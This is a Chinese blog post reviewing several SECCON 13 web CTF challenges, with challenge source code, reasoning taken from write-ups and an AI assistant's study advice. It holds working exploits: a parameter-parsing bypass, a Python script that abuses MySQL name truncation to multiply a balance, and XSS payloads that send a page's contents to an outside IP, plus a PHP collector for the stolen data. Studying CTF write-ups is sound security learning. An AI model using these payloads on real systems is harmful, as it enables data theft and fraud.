SECCON13

SEECON 13

复现学习一下SEECON 13 的题目

self-ssrf

拿到题目里的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import express from "express";

const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;

const app = express();

app.use("/", (req, res, next) => {
if (req.query.flag === undefined) {
const path = "/flag?flag=guess_the_flag";
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});

app.get("/flag", (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
//如果请求中带的flag参数等于flag
? `Congratz! The flag is '${FLAG}'.` //输出flag
: `<marquee>🚩🚩🚩</marquee>`
);
});

app.get("/ssrf", async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);

if (url.hostname !== LOCALHOST.hostname) {
res.send("Try harder 1");
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send("Try harder 2");
return;
}

url.pathname = "/flag";
url.searchParams.append("flag", FLAG);
res.send(await fetch(url).then((r) => r.text()));
} catch {
res.status(500).send(":(");
}
});

app.listen(PORT);

看不懂完全没思路,去看了某大佬的wp,直接分析到express框架的源码了,等等的逻辑,直接被吓死。。。。
自己打也许不能分析出来,但还是学习一下思路:

通过/ssrf访问flag时会在末尾加上参数flag,并给予参数正确flag值,
我的问题是,那直接不带任何参数去访问/ssrf不就能只有ssrf函数加上的正确的flag参数和值了吗?

然而还是怪我不了解node.js 的 express 框架。

app.use(“/“, …) 的作用范围:
这个中间件匹配所有路径(因为 / 是所有路径的前缀),所以它会在任何路由(如 /ssrf, /flag)之前执行。这是一个常见的“全局前置检查”。
所以简单来说,想要访问/ssrf就得带上flag参数,这样的话就无法实现空参数访问/ssrf了。

wp中,
解决办法就是通过express对url的处理来解题
express在处理相同的参数时会用逗号拼接:

1
/?flag=1&flag=flag  ->  req.query.flag = '1,flag'

这样会导致flag值与正确值不匹配

但是若是传入:ssrf/?flag[=]=asd

会导致两次解析不一致,其中express的qs解析一次,url解析一次:

url把flag[=]= 拆分为:
参数:flag[=
值: ]=asd

qs把 flag[=]= 解析为对象 { flag: { “=”: “asd” } }
此时 req.query.flag 是一个对象 { ‘=’: ‘asd’ },不是 undefined

第一次解析完成后,会导致qs认为flag是存在的,从而通过了’/‘中间件,进入到’/ssrf’,
之后经过’/ssrf’的处理,会变成:

ssrf/?flag[=]=asd&flag=(正确flag值)

然后解析:

url:
参数1:flag[
值:]=asd
参数2:flag
值: (正确flag)

qs就不会把url里两个不同的参数进行合并,所以就存在flag=正确值

感觉若是有node.js的开发经验,那这种题目应该算简单?可惜我学信安并没有很多开发经验。要是考到不了解的框架那不知道怎办了。

来自qwen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
你的感受**非常真实,也非常普遍**,几乎所有从安全入门、没有深厚开发背景的人都会经历这个阶段。但请放心,你的思考方向完全正确,而且你已经迈出了最关键的一步——**理解了漏洞的本质,而不仅仅是“套用技巧”**

我们来深入聊聊你的担忧,并给你一些实用的建议。

---

### 1. “有开发经验就简单?” —— 部分正确,但不绝对

**有开发经验的优势**
- 熟悉框架的“正常行为”,更容易识别“异常行为”。
- 知道 `app.use()` 是中间件,`req.query` 是什么,`URLSearchParams` 怎么工作。
- 对 URL 编码、参数解析、HTTP 流程有直觉。

**但不代表“简单”**
- 这道题利用的是 `qs` 库在**嵌套参数 + 重复键名**下的**非预期行为**,即使是经验丰富的 Node.js 开发者,如果不专门研究过 `qs` 的源码或边界情况,也未必能立刻想到。
- CTF 题目的设计目标就是**挖掘框架/库的边缘 case 和逻辑矛盾**,而不是考察“日常开发能力”。

所以,这道题对开发者来说可能“更容易理解”,但要说“简单”,那也不一定。它更像是一个“**知道就知道,不知道就很难猜**”的知识盲点题。

---

### 2. “没开发经验怎么办?” —— 别怕,有方法!

你现在的状态是:**通过学习 WP,你补上了知识盲点,并且用自己的逻辑重新推导了一遍**。这比“凭空想出”更有价值!因为:

> **CTF 不是考试,而是研究。真正的安全研究者都是站在巨人的肩膀上。**

#### 🛠️ 如何弥补开发经验的不足?

| 方法 | 具体做法 | 效果 |
| :--- | :--- | :--- |
| **1. 学习基础 Web 开发概念** | 不需要精通一门语言,但要懂:<br>- HTTP 请求/响应结构(GET/POST, Headers, Query, Body)<br>- Cookie/Session<br>- 常见框架模式(路由、中间件、模板渲染)<br>- 数据库基础(SQL/NoSQL) | 建立“系统观”,不再把代码当黑盒 |
| **2. 主动查文档和源码** | 看到 `express`, `qs`, `flask`, `django` 等关键字:<br>- 立刻去搜官方文档或 GitHub。<br>- 重点看:**参数解析、路由匹配、安全机制**<br>- 例如:`qs` 的 README 明确写了它支持嵌套对象和数组。 | 把“未知”变成“已知” |
| **3. 搭建实验环境** | 本地写几行代码验证你的猜想:<br>```js<br>const qs = require('qs');<br>console.log(qs.parse('flag[=]=asd&flag=123'));<br>// 输出?<br>``` | 实践出真知,记忆更深刻 |
| **4. 关注“框架特性”而非“语言”** | Node.js/Python/PHP 只是载体,真正重要的是:<br>- Express 的中间件机制<br>- Flask 的 template injection<br>- Django 的 ORM 注入<br>掌握一种,触类旁通。 | 提升学习效率 |

---

### 3. “考到不了解的框架怎办?” —— 核心策略

当遇到完全陌生的框架时,别慌,按以下步骤走:

#### 🔍 步骤 1:快速识别技术栈
- 看文件名:`app.py` → Python/Flask? `server.js` → Node.js?
- 看依赖:`package.json` → Node.js, `requirements.txt` → Python
- 看错误信息:500 错误可能暴露框架名

#### 🧩 步骤 2:找“关键函数”和“数据流”
- 找输入点:`req.query`, `req.body`, `request.GET`, `request.POST`
- 找输出点:`res.send()`, `return render(...)`
- 找危险操作:`eval`, `exec`, `os.system`, `数据库查询`, `文件读写`, **SSRF 中的 `fetch`/`requests.get`**

#### 📚 步骤 3:查该函数的文档
- 搜索:`express url.searchParams.append``flask request.args.to_dict`
- 重点看:**如何处理重复参数?如何处理特殊字符?是否有已知 CVE?**

#### 💡 步骤 4:联想类似漏洞
- SSRF?→ 想办法绕过 host/protocol 检查
- SQLi?→ 想办法闭合引号或注释
- SSTI?→ 尝试 `{%}`, `{{}}`, `<%= %>`
- 参数污染?→ 试试 `?a=1&a=2`

---

### 🌟 最后一句话

> **“开发经验”不是门槛,而是你可以逐步积累的工具箱。**
>
> **而你现在已经拥有了最宝贵的资产——分析问题的能力。**

继续加油!你完全有能力攻克任何题目。💪

Trillion Bank

在帕鲁杯做过 喵喵银行原来这是原题
当初好像是一个帐户一直重复给另一个账户转账就会有几率直接转任意数额。
不知道这次是什么情况

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
## index.js

import fastify from "fastify";
import crypto from "node:crypto";
import fs from "node:fs/promises";
import db from "./db.js";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;

const app = fastify();

app.register(await import("@fastify/jwt"), {
secret: crypto.randomBytes(32),
cookie: { cookieName: "session" },
});
app.register(await import("@fastify/cookie"));

const names = new Set();

const auth = async (req, res) => {
try {
await req.jwtVerify();
} catch {
return res.status(401).send({ msg: "Unauthorized" });
}
};

app.post("/api/register", async (req, res) => {
const name = String(req.body.name);
if (!/^[a-z0-9]+$/.test(name)) {
res.status(400).send({ msg: "Invalid name" });
return;
}
if (names.has(name)) {
res.status(400).send({ msg: "Already exists" });
return;
}
names.add(name);

const [result] = await db.query("INSERT INTO users SET ?", {
name,
balance: 10,
});
res
.setCookie("session", await res.jwtSign({ id: result.insertId }))
.send({ msg: "Succeeded" });
});

app.get("/api/me", { onRequest: auth }, async (req, res) => {
try {
const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
req.user.balance = balance;
} catch (err) {
return res.status(500).send({ msg: err.message });
}
if (req.user.balance >= TRILLION) {
req.user.flag = FLAG; // 💰
}
res.send(req.user);
});

app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
const recipientName = String(req.body.recipientName);
if (!names.has(recipientName)) {
res.status(404).send({ msg: "Not found" });
return;
}

const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
if (id === req.user.id) {
res.status(400).send({ msg: "Self-transfer is not allowed" });
return;
}

const amount = parseInt(req.body.amount);
if (!isFinite(amount) || amount <= 0) {
res.status(400).send({ msg: "Invalid amount" });
return;
}

const conn = await db.getConnection();
try {
await conn.beginTransaction();

const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
req.user.id,
]);
if (amount > balance) {
throw new Error("Invalid amount");
}

await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
amount,
req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
amount,
recipientName,
]);

await conn.commit();
} catch (err) {
await conn.rollback();
return res.status(500).send({ msg: err.message });
} finally {
db.releaseConnection(conn);
}

res.send({ msg: "Succeeded" });
});

app.get("/", async (req, res) => {
const html = await fs.readFile("index.html");
res.type("text/html; charset=utf-8").send(html);
});

app.listen({ port: 3000, host: "0.0.0.0" });

db.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import { setTimeout as sleep } from "node:timers/promises";
import mysql from "mysql2/promise";

const db = mysql.createPool({
host: process.env.MYSQL_HOST,
user: process.env.MYSQL_USER,
password: process.env.MYSQL_PASSWORD,
database: process.env.MYSQL_DATABASE,
connectionLimit: 10,
});

for (let i = 0; i < 100; i++) {
console.debug(`[debug] DB: ${i}`);
try {
await db.query("SELECT 1");
console.debug("[debug] DB: connected");
break;
} catch {
await sleep(1000);
}
}

try {
await db.query("DROP TABLE IF EXISTS users");
await db.query(
`
CREATE TABLE users (
id INT AUTO_INCREMENT NOT NULL,
name TEXT NOT NULL,
balance BIGINT NOT NULL,
PRIMARY KEY (id)
)
`.trim()
);
console.debug("[debug] DB: initialized");
} catch (err) {
console.error(err);
process.exit(1);
}

export default db;

fuzz了一下sql和目录,都没结果
帕鲁杯的解法应该是竞争条件,但是这里:使用数据库事务 + FOR UPDATE 锁行,防止并发问题(如竞态条件导致超支)
源码喂给通义看了一下,发现的关键问题是源码只会在注册时检查数据库中是否有相同名,但是数据库里是没有限制相同名的,

看大佬的wp
看来这种大比赛都会给完整文件,能让你自己构建docker环境在本地调试。以前还不知道这么多东西是干什么用的。。。

那wp里的思路就是:
数据库使用TEXT类型保存name,TEXT最大长度为65535,docker配置了mysql参数–sql_mode为空,所以当数据发生溢出时不会报错直接截断。因此可以在mysql中插入同名用户。(对应db.js里的:”name TEXT NOT NULL,”)

利用超过限制长度的办法来绕过前端的不允许同名注册,但是数据库会截断超过最大长度而达到同名的注册,

大佬的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = 'http://192.168.66.129:3000/'
base_name = 'z'*65535

def reg(name : str) -> tuple[str, str, str]:
res1 = requests.post(url=url + '/api/register', json={"name" : base_name})
jwt_1 = res1.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]

res2 = requests.post(url=url + '/api/register', json={"name" : base_name + name})
jwt_2 = res2.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]

res3 = requests.post(url=url + '/api/register', json={"name" : base_name + name + name})
jwt_3 = res3.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]

return (jwt_1, jwt_2, jwt_3)

if __name__ == '__main__':
jwt_1, jwt_2, jwt_3 = reg('ajdjsbvkj')

balance = 10
while (balance * 2 - 10) < 1_000_000_000_000:
time.sleep(0.5)

res = requests.post(url=url + '/api/transfer', json={"recipientName" : base_name, "amount" : balance}, cookies={"session" : jwt_2})
res = requests.post(url=url + '/api/transfer', json={"recipientName" : base_name, "amount" : balance}, cookies={"session" : jwt_3})

balance = balance * 2
print(balance * 2 - 10, end='\r')

print(jwt_1)

其关键点是index.js中的:

1
2
UPDATE users SET balance = balance - ? WHERE id = ?
UPDATE users SET balance = balance + ? WHERE name = ?

汇款扣除的时候是根据数据库里的id,但是汇款到账户的时候检索的是name
所以当汇款的时候,会有三个账户收到钱,包括转款的账户

扣款按ID:准确扣除指定用户的余额

加款按名称:给所有同名用户加钱(包括刚刚扣款的那个用户)

这样通过账户2和账户3循环转账,很快就能以指数级增长至一万亿

Tanuki Udon

看到留言板大概只能猜到xss,试了一下发现直接写xss没有用
查看源码,有一个web服务和一个bot服务,web是留言板,bot不知道是干嘛的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const crypto = require('node:crypto');
const express = require('express');
const session = require('express-session');
const db = require('./db');
const markdown = require('./markdown');

const PORT = '3000';

const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(session({
secret: crypto.randomBytes(32).toString('base64'),
resave: true,
saveUninitialized: true,
}));
app.set('view engine', 'ejs');

app.use((req, res, next) => {
if (!req.session.userId) {
req.session.userId = db.createUser().id;
}
req.user = db.getUser(req.session.userId);
next();
})

app.use((req, res, next) => {
if (typeof req.query.k === 'string' && typeof req.query.v === 'string') {
// Forbidden :)
if (req.query.k.toLowerCase().includes('content')) return next();

res.header(req.query.k, req.query.v);
}
next();
});

app.get('/', (req, res) => {
res.render('index', { notes: req.user.getNotes() });
});

app.get('/clear', (req, res) => {
db.deleteUser(req.user.id);
req.session.destroy();
res.redirect('/');
});

app.get('/note/:noteId', (req, res) => {
const { noteId } = req.params;
const note = db.getNote(noteId);
if (!note) return res.status(400).send('Note not found');
res.render('note', { note });
});

app.post('/note', (req, res) => {
const { title, content } = req.body;
req.user.addNote(db.createNote({ title, content: markdown(content) }));
res.redirect('/');
});

app.listen(PORT, '0.0.0.0', () => {
console.log(`Listening on port ${PORT}`);
});

db.js应该是数据库配置文件
然后web目录下的markdown.js有关键词转化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const escapeHtml = (content) => {
return content
.replaceAll('&', '&')
.replaceAll(`"`, '"')
.replaceAll(`'`, ''')
.replaceAll('<', '<')
.replaceAll('>', '>');
}

const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}

module.exports = markdown;

其中escapeHtml方法是过滤xss关键词的,然后markdown方法就是实现在留言中插入图片和连接的功能
那如何如何绕过呢?
学习一下大佬的wp

“问题在于replace执行是有顺序的,前一个的img标签的引号可以通过a标签破坏。”

意思是有办法能构造破坏a的标签,然后使用img里的方法来实现xss

自己手动算了一下大佬的payload,理解了不少。

1
2
3
4
paylaod content = '![]([)]()'

payload:
![]([)]( onerror=alert`1` class=)

经过escape,img和a的正则替换后能在最后一个括号里插入img,

1
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>

然后到分析bot服务,bot服务会用来来访问我们构造好的包含xss的文章,并且在“/”目录下生成带有flag的文章。
很明显就是让bot访问note板的服务

paylaod:

1
2
3
4
5
6
7
8
var d;
fetch("/").then((r) => r.text()).then((data) => {d = data});
setTimeout(() => {fetch('http://192.168.75.1:80?data=' + encodeURI(d))}, 500);

编码后:
![1]([)]( onerror=location=`javascript:var%20d%3Bfetch%28%22%2F%22%29%2Ethen%28%28r%29%20%3D%3E%20r%2Etext%28%29%29%2Ethen%28%28data%29%20%3D%3E%20%7Bd%20%3D%20data%7D%29%3BsetTimeout%28%28%29%20%3D%3E%20%7Bfetch%28%27http%3A%2F%2F192.168.10.10%3A80%3Fdata%3D%27%20%2B%20encodeURI%28d%29%29%7D%2C%20500%29%3B` class=)


在自己的80端口部署服务来获取返回的信息:

1
2
3
<?php
file_put_contents(__DIR__ . '/data.txt', $_REQUEST['data']);
echo 'OK';

JavaScrypto

和Tanuki Udon 很想啊,部署的时候发现bot服务等配置都是一样的

index.js源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const express = require('express');
const crypto = require('crypto');
const app = express();
const PORT = 3000;

const isUUID = (uuid) => /^[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(uuid);

const notes = new Map();

app.use(express.static('public'));
app.use(express.json());

app.get('/note/:noteId', (req, res) => {

if (!isUUID(req.params.noteId)) return res.status(404).send('');

const note = notes.get(req.params.noteId);
if (!note) return res.status(404).send('');

return res.json(note);

});

app.post('/note', (req, res) => {

const { iv, ciphertext } = req.body;
if (
typeof iv !== 'string'
|| typeof ciphertext !== 'string'
) {
return res.status(400).send('');
}

const id = crypto.randomUUID();
notes.set(id, { iv, ciphertext });

return res.json({ id });

});

app.listen(PORT, () => {
console.log(`Server listening on port ${PORT}`)
});

fuzz一下,发现没做过滤:

1
<a href="http://gwwafz.online">hihi</a>

那可能就比上一题简单了
把上一题的payload拿来用:

1
<img src=x onerror="fetch('http://192.168.230.241/?data='+encodeURIComponent(document.body.innerHTML))">

然后发现返回的数据并不符合预期
看了wp,发现没自己想的这么简单。。。
继续分析源码 note.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const getOrCreateKey = () => {
if (!localStorage.getItem('key')) {
const rawKey = CryptoJS.lib.WordArray.random(16);
localStorage.setItem('key', rawKey.toString(CryptoJS.enc.Base64));
}
return localStorage.getItem('key');
}

const encryptNote = ({ plaintext, key }) => {
const rawKey = CryptoJS.enc.Base64.parse(key);
const rawIv = CryptoJS.lib.WordArray.random(16);
const rawSalt = CryptoJS.lib.WordArray.random(16);
const rawCiphertext = CryptoJS.AES.encrypt(plaintext, rawKey, {
iv: rawIv,
salt: rawSalt,
}).ciphertext;
return {
iv: rawIv.toString(CryptoJS.enc.Base64),
ciphertext: rawCiphertext.toString(CryptoJS.enc.Base64),
}
}

const decryptNote = ({ key, iv, ciphertext }) => {
const rawKey = CryptoJS.enc.Base64.parse(key);
const rawIv = CryptoJS.enc.Base64.parse(iv);
const rawPlaintext = CryptoJS.AES.decrypt(ciphertext, rawKey, {
iv: rawIv,
});
return rawPlaintext.toString(CryptoJS.enc.Latin1);
}

const createNote = async ({ plaintext, key }) => {
const cipherParams = encryptNote({ plaintext, key });
const { id } = await fetch('/note', {
method: 'POST',
body: JSON.stringify(cipherParams),
headers: {
'content-type': 'application/json'
}
}).then(r => r.json());
return id;
}

const readNote = async ({ id, key }) => {
const cipherParams = await fetch(`/note/${id}`).then(r => r.json());
const { iv, ciphertext } = cipherParams;
return decryptNote({ key, iv, ciphertext });
}

仔细观摩了wp,发现这道题大概远超我目前水平,那就,前面的题目以后再来解吧。。。


SECCON13
https://aidemofashi.github.io/2025/09/10/SECCON13/
作者
aidemofashi
发布于
2025年9月10日
许可协议